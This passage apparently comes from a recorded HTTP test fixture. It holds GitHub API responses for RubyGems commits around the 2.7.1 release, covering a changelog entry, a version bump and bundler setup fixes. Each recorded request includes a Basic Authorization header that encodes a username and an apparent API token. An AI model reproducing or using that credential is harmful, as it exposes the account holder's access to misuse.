v1\n\niQIcBAABAgAGBQJZ/QgoAAoJEAEZW7MV3ahW7BUP/iJCMUrepGr8oUJcLeoxk4SX\nsmlGngfZAYghvHoo6UNbPvRPUaddt3bxqypPNjI6zibu15xaEAJk3I6DkSxwZJsn\nLCk2kv/L7r9c0fu/e/0Tos0vfcUP5/Dhs7IatXIBNhlgEtucuRH+iHHKE2VyVDmw\nm1qncTiTAkqPhdLqPn0ssFWZR/yT3yEmdtBRycliTZ+5/L7Ktc8zZNWGoK344H9x\npbBYgO0cl//QGUJnCqkvwoUNuxfq7MCgIKLYuL6fC8mdEextDDtSPjRy7owwX/O+\nJ7L12wZIm9dD8pbGWPHMtMOlEevm6Y4PPtzDtlgCz42Bg9PM1e3Q4rqgLOkiueoS\nhoTNjYLt1a6gJ1N5v9N+Xz+n2N0bpzvLHMITFY1m8TGvf56PDjbGpDs/Op3Xn3x+\nhjmloGlXkWZ29UDuHlZPAbuw9plBho0RSb4Sk2DatKWPRHV/Cwl3FQzGnx/LVYGc\nKAVSx4crraxRPnjtZ73voKhTKAAOALWmashL3S8zVQIjctMPfsQis0UTmw/2N+h3\nnkbrmwEGsG4PxpdCOJ6VcLaedM8vnIWj0kbFL82utScE5T8RgM/KX+KmPMKr1yG1\nvqZyUGxslATohn7WrKsXsZ1eXa8ugqnYBHg0TdR2kgwPQWxJDtbvYgdV0uwMsGno\nKCUiKUVnEKsmyn0FmCkE\n=uDof\n-----END PGP SIGNATURE-----","payload":"tree c1034b36ebcc7655c4058991586a7643b270c995\nparent ab8ee5e20ce9186a1d383f4c721415e0ee7f595c\nauthor Samuel Giddins 1509754920 -0500\ncommitter Samuel Giddins 1509754920 -0500\n\nVersion 2.7.1 with changelog\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","html_url":"https://github.com/rubygems/rubygems/commit/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"ab8ee5e20ce9186a1d383f4c721415e0ee7f595c","url":"https://api.github.com/repos/rubygems/rubygems/commits/ab8ee5e20ce9186a1d383f4c721415e0ee7f595c","html_url":"https://github.com/rubygems/rubygems/commit/ab8ee5e20ce9186a1d383f4c721415e0ee7f595c"}],"stats":{"total":9,"additions":8,"deletions":1},"files":[{"sha":"f0393a3879285b6fa90af297512b63f0c44b9ad2","filename":"History.txt","status":"modified","additions":7,"deletions":0,"changes":7,"blob_url":"https://github.com/rubygems/rubygems/blob/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d/History.txt","raw_url":"https://github.com/rubygems/rubygems/raw/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d/History.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/History.txt?ref=b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","patch":"@@ -1,5 +1,12 @@\n # coding: UTF-8\n \n+=== 2.7.1 (2017-11-03)\n+\n+Bug fixes:\n+\n+* Fix `gem update --system` with RubyGems 2.7+. Pull request #2054 by\n+ Samuel Giddins.\n+\n === 2.7.0 (2017-11-02)\n \n Major enhancements:"},{"sha":"c4c279e964e7ce4542af9399f47b92f749dbf928","filename":"lib/rubygems.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","patch":"@@ -10,7 +10,7 @@\n require ''thread''\n \n module Gem\n- VERSION = \"2.7.0\"\n+ VERSION = \"2.7.1\"\n end\n \n # Must be first since it unloads the prelude from 1.9.2"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:59 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/ab8ee5e20ce9186a1d383f4c721415e0ee7f595c body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:59 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4472' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"0ab7149c5798ea1e3c736034d9c91167" Last-Modified: - Fri, 03 Nov 2017 23:45:00 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.040078' X-Github-Request-Id: - C54E:4D95:F47F15:1C8388F:5A50E46F body: encoding: ASCII-8BIT string: '{"sha":"ab8ee5e20ce9186a1d383f4c721415e0ee7f595c","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-03T23:45:00Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-03T23:45:00Z"},"message":"Auto merge of #2054 - rubygems:seg-pkg-bundler-gemspec, r=segiddins\n\nFix `gem update --system` with RubyGems 2.7+\n\n# Description:\n\nFixes #2052.\n\nBy including the bundler gemspec in the manifest, it should allow the setup task to succeed when run from the published rubygems-update gem, and not just from source.\n\nWhen we merge this, I will release 2.7.1 ?","tree":{"sha":"78dbe342b4b585fea57ec1d94dfb342dc863ac88","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/78dbe342b4b585fea57ec1d94dfb342dc863ac88"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/ab8ee5e20ce9186a1d383f4c721415e0ee7f595c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/ab8ee5e20ce9186a1d383f4c721415e0ee7f595c","html_url":"https://github.com/rubygems/rubygems/commit/ab8ee5e20ce9186a1d383f4c721415e0ee7f595c","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/ab8ee5e20ce9186a1d383f4c721415e0ee7f595c/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"c9ce30a46793ee04a68ce320a3fb15d3a26bd15c","url":"https://api.github.com/repos/rubygems/rubygems/commits/c9ce30a46793ee04a68ce320a3fb15d3a26bd15c","html_url":"https://github.com/rubygems/rubygems/commit/c9ce30a46793ee04a68ce320a3fb15d3a26bd15c"},{"sha":"150e6968c45f7948fa8810d5112fe3bd922d43a3","url":"https://api.github.com/repos/rubygems/rubygems/commits/150e6968c45f7948fa8810d5112fe3bd922d43a3","html_url":"https://github.com/rubygems/rubygems/commit/150e6968c45f7948fa8810d5112fe3bd922d43a3"}],"stats":{"total":9,"additions":7,"deletions":2},"files":[{"sha":"b40d5cd26687466a71e6c1aa9717b81653974422","filename":"Manifest.txt","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/rubygems/rubygems/blob/ab8ee5e20ce9186a1d383f4c721415e0ee7f595c/Manifest.txt","raw_url":"https://github.com/rubygems/rubygems/raw/ab8ee5e20ce9186a1d383f4c721415e0ee7f595c/Manifest.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Manifest.txt?ref=ab8ee5e20ce9186a1d383f4c721415e0ee7f595c","patch":"@@ -23,6 +23,7 @@ bundler/CODE_OF_CONDUCT.md\n bundler/CONTRIBUTING.md\n bundler/LICENSE.md\n bundler/README.md\n+bundler/bundler.gemspec\n bundler/exe/bundle\n bundler/exe/bundle_ruby\n bundler/exe/bundler"},{"sha":"dc5302059571b47ce61ef48059e0f0af5b64c2c5","filename":"Rakefile","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/ab8ee5e20ce9186a1d383f4c721415e0ee7f595c/Rakefile","raw_url":"https://github.com/rubygems/rubygems/raw/ab8ee5e20ce9186a1d383f4c721415e0ee7f595c/Rakefile","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Rakefile?ref=ab8ee5e20ce9186a1d383f4c721415e0ee7f595c","patch":"@@ -95,7 +95,7 @@ Hoe::Package.instance_method(:install_gem).tap do |existing_install_gem|\n end\n end\n \n-Hoe::DEFAULT_CONFIG[\"exclude\"] = %r[#{Hoe::DEFAULT_CONFIG[\"exclude\"]}|\\./bundler/(?!lib|man|exe|[^/]+\\.md)|doc/]ox\n+Hoe::DEFAULT_CONFIG[\"exclude\"] = %r[#{Hoe::DEFAULT_CONFIG[\"exclude\"]}|\\./bundler/(?!lib|man|exe|[^/]+\\.md|bundler.gemspec)|doc/]ox\n \n v = hoe.version\n "},{"sha":"5f39b4c93c15c4258374331d6a54167de59451fa","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":5,"deletions":1,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/ab8ee5e20ce9186a1d383f4c721415e0ee7f595c/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/ab8ee5e20ce9186a1d383f4c721415e0ee7f595c/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=ab8ee5e20ce9186a1d383f4c721415e0ee7f595c","patch":"@@ -352,8 +352,10 @@ def fake_spec.full_gem_path\n def install_default_bundler_gem\n return unless Gem::USE_BUNDLER_FOR_GEMDEPS\n \n+ mkdir_p Gem::Specification.default_specifications_dir\n+\n bundler_spec = Gem::Specification.load(\"bundler/bundler.gemspec\")\n- bundler_spec.files = Dir[\"bundler/{*.md,{lib,exe,man}/**/*}\"]\n+ bundler_spec.files = Dir.chdir(\"bundler\") { Dir[\"{*.md,{lib,exe,man}/**/*}\"] }\n bundler_spec.executables -= %w[bundler bundle_ruby]\n Dir.entries(Gem::Specification.default_specifications_dir).\n select {|gs| gs.start_with?(\"bundler-\") }.\n@@ -370,6 +372,8 @@ def install_default_bundler_gem\n \n mkdir_p bundler_spec.bin_dir\n bundler_spec.executables.each {|e| cp File.join(\"bundler\", bundler_spec.bindir, e), File.join(bundler_spec.bin_dir, e) }\n+\n+ say \"Bundler #{bundler_spec.version} installed\"\n end\n \n def make_destination_dirs(install_destdir)"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:59 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/150e6968c45f7948fa8810d5112fe3bd922d43a3 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:59 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4471' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"340518e3a67fd6b11b95b22e0b071f7e" Last-Modified: - Fri, 03 Nov 2017 01:06:50 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.039380' X-Github-Request-Id: - C550:4D95:F47F23:1C838A6:5A50E46F body: encoding: ASCII-8BIT string: '{"sha":"150e6968c45f7948fa8810d5112fe3bd922d43a3","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-11-03T01:06:50Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-11-03T01:06:50Z"},"message":"[Setup] Ensure bundler_spec.files does not contain bundler/ prefix","tree":{"sha":"78dbe342b4b585fea57ec1d94dfb342dc863ac88","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/78dbe342b4b585fea57ec1d94dfb342dc863ac88"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/150e6968c45f7948fa8810d5112fe3bd922d43a3","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZ+8EqAAoJEAEZW7MV3ahWlWsP/15ZQDKip6gLzmpLmTnCz3ot\n/PUPHDD6IDAjAX9Dea1yPRnhJGuAAG69S7AVrOvNvTWOYA9ANfeqWefTfv48RjuG\nLykHFflnuX3a8WaEzUuULCC+U9NDWe3xgrRTsFETZlrcyzE2Hy7xXEy620ACr8XT\nqNjpkJYNxd8hDHw0bk2C2dyIqAFd2qgaq5jiDkPmZqSZYIHmCq/rdrYvQ/ODqH7P\nsUGpAV7KlIyUEVRtDvYBLmld63MM2bDbzMm3WN5/kQZQ80/EYX9hxACk7K7GHqh2\nTTjQ60/nszqps4rCrnTLhLqWaoQ6TG5a0FeRyTKEePvw60o2eAr4/kdJuZBbw0Uj\nFIldWshyy2V4bdn1qBNT/f6HDA2ReWJbbsJyzN6p2gEObizI6GTH/ec1w9kNxLk7\n3U7zxNCgcWCNhg8TGV9pPDn1MVVMBFTAgRwL3RaGJIPqkPrRaC2bbgeXqV5/5Sqp\nVLEJv6zJIOuL5l0CETOVa/chZItPHEhNG0QZUCFoCVML17b3y1bRXS06ZmtnQ0Gb\nndwNOJ1f5vblYoJuitA4MvFsTsi9bbd4x9T5xkoHGxYGdki4s5WkwtIv2+osxND6\nTd+Fz8bYIy6roXk3CH0nIrDCEWKC4pAn53Y/ODvawulXQl99kqc/ugw9FIHjgyBJ\nmf+DYp/wCKP6HvFnN6Ie\n=5PH7\n-----END PGP SIGNATURE-----","payload":"tree 78dbe342b4b585fea57ec1d94dfb342dc863ac88\nparent 7694518525704190d067bf8701faf7bc33b0812e\nauthor Samuel Giddins 1509671210 -0500\ncommitter Samuel Giddins 1509671210 -0500\n\n[Setup] Ensure bundler_spec.files does not contain bundler/ prefix\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/150e6968c45f7948fa8810d5112fe3bd922d43a3","html_url":"https://github.com/rubygems/rubygems/commit/150e6968c45f7948fa8810d5112fe3bd922d43a3","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/150e6968c45f7948fa8810d5112fe3bd922d43a3/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"7694518525704190d067bf8701faf7bc33b0812e","url":"https://api.github.com/repos/rubygems/rubygems/commits/7694518525704190d067bf8701faf7bc33b0812e","html_url":"https://github.com/rubygems/rubygems/commit/7694518525704190d067bf8701faf7bc33b0812e"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"5f39b4c93c15c4258374331d6a54167de59451fa","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/150e6968c45f7948fa8810d5112fe3bd922d43a3/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/150e6968c45f7948fa8810d5112fe3bd922d43a3/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=150e6968c45f7948fa8810d5112fe3bd922d43a3","patch":"@@ -355,7 +355,7 @@ def install_default_bundler_gem\n mkdir_p Gem::Specification.default_specifications_dir\n \n bundler_spec = Gem::Specification.load(\"bundler/bundler.gemspec\")\n- bundler_spec.files = Dir[\"bundler/{*.md,{lib,exe,man}/**/*}\"]\n+ bundler_spec.files = Dir.chdir(\"bundler\") { Dir[\"{*.md,{lib,exe,man}/**/*}\"] }\n bundler_spec.executables -= %w[bundler bundle_ruby]\n Dir.entries(Gem::Specification.default_specifications_dir).\n select {|gs| gs.start_with?(\"bundler-\") }."}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:59 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/7694518525704190d067bf8701faf7bc33b0812e body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:59 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4470' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"849fc51936f49a94ed916d790d4a38df" Last-Modified: - Fri, 03 Nov 2017 00:53:19 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.046492' X-Github-Request-Id: - A282:4D95:F47F32:1C838B9:5A50E46F body: encoding: ASCII-8BIT string: '{"sha":"7694518525704190d067bf8701faf7bc33b0812e","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-11-03T00:53:19Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-11-03T00:53:19Z"},"message":"[Setup] Ensure the default specs dir exists when installing bundler","tree":{"sha":"3082e04ad34fe801c1ccc50a17f225cef77c998b","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/3082e04ad34fe801c1ccc50a17f225cef77c998b"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/7694518525704190d067bf8701faf7bc33b0812e","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZ+73/AAoJEAEZW7MV3ahWC+EP/A4qN772zWB3ktz2/36bAhig\n159aXhAl0595W0PYIExid56PPP//wFCJbX5vvLFLxZuxJmuevNMrNsiOqhX7+VmN\nVEvLbBUTSB+rt1Zr4P/LWEpXsfxdvSp1j1TAv0Qpkdj/tCGIqDFluF++Rn3RoN3/\ndhp/TQcsEWQMh7VGS+25mNUzCGNqidCP+hqGw3++zT2fG48+EWWSkBzXBsybixOy\n1boNT+m4e1jBSwNYnv5LgTLnfMByReXpA+JnqjjSW4cZlYaQTjz2AZtkbC5nw5mm\neCQFYfXD9Q7RWjzg5shA4LywS2QjZ093TVwESnD5EGHkctfHMfEg5PI8NBLT6b5C\nzgMjA/rf2rN0xRSTqssBvXG/us+ThIHEe7Pt06Hhm+8QF/2ojXk4IB7cqUN+DVp1\nwef9YTvYJlN9jXKUGuZheTZOYR2Pzsl/JKXSzoKzF6Lkh0onACh2+QK90q7qyS83\nynHLJtoejDuTFi39aoMB4tXdQqXUmG1yg+VIQMBnKWO0YwYjJnemI1+GTE2YL8t7\nRR0ezi1LK5hFXRzJfLzU4L8MTzYIbt8Z5j0mnGguGSo2+zuP067un5jNlFBdljyV\ngKCMCTrBd7bUfCTKrrLuUcLIpiMexPGzveKBMiWsabSxxW6Yraski2uHh1aGrIKs\n8s5PsvzBwbCa1TGUaboB\n=YUKE\n-----END PGP SIGNATURE-----","payload":"tree 3082e04ad34fe801c1ccc50a17f225cef77c998b\nparent 5d5f0c39bc8eaf1793c75edb5007cf7d6e0b6e83\nauthor Samuel Giddins 1509670399 -0500\ncommitter Samuel Giddins 1509670399 -0500\n\n[Setup] Ensure the default specs dir exists when installing bundler\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/7694518525704190d067bf8701faf7bc33b0812e","html_url":"https://github.com/rubygems/rubygems/commit/7694518525704190d067bf8701faf7bc33b0812e","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/7694518525704190d067bf8701faf7bc33b0812e/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"5d5f0c39bc8eaf1793c75edb5007cf7d6e0b6e83","url":"https://api.github.com/repos/rubygems/rubygems/commits/5d5f0c39bc8eaf1793c75edb5007cf7d6e0b6e83","html_url":"https://github.com/rubygems/rubygems/commit/5d5f0c39bc8eaf1793c75edb5007cf7d6e0b6e83"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"94f6029bf690b64987eaa954cc1e4ea7a0f7af6e","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/7694518525704190d067bf8701faf7bc33b0812e/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/7694518525704190d067bf8701faf7bc33b0812e/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=7694518525704190d067bf8701faf7bc33b0812e","patch":"@@ -352,7 +352,7 @@ def fake_spec.full_gem_path\n def install_default_bundler_gem\n return unless Gem::USE_BUNDLER_FOR_GEMDEPS\n \n- return unless File.directory?(Gem::Specification.default_specifications_dir)\n+ mkdir_p Gem::Specification.default_specifications_dir\n \n bundler_spec = Gem::Specification.load(\"bundler/bundler.gemspec\")\n bundler_spec.files = Dir[\"bundler/{*.md,{lib,exe,man}/**/*}\"]"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:59 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/5d5f0c39bc8eaf1793c75edb5007cf7d6e0b6e83 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic 